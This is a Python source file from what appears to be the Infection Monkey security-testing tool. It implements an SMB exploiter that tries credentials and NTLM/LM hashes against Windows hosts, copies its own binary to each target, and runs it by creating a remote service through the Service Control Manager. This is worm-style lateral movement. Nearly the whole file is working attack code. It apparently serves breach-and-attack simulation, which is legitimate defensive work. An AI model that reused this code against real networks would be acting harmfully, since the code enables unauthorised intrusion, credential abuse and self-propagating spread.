monkey/chaos_monkey/exploit/smbexec.py

141 lines
5.7 KiB
Python

from logging import getLogger
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
USE_KERBEROS = False
def __init__(self, host):
super(SmbExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self):
if super(SmbExploiter, self).is_os_supported():
return True
if not self.host.os.get('type'):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(self.host)
else:
is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
if is_nb_open:
self.host.os['type'] = 'windows'
return self.host.os.get('type') in self._TARGET_OS_TYPE
return False
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
exploited = True
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc)
continue
if not exploited:
LOG.debug("Exploiter SmbExec is giving up...")
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, '',
lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
self.host, exc)
return False
smb_conn = rpctransport.get_smb_connection()
break
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp['lpScHandle']
# start the monkey using the SCM
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
except:
pass
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline)
return True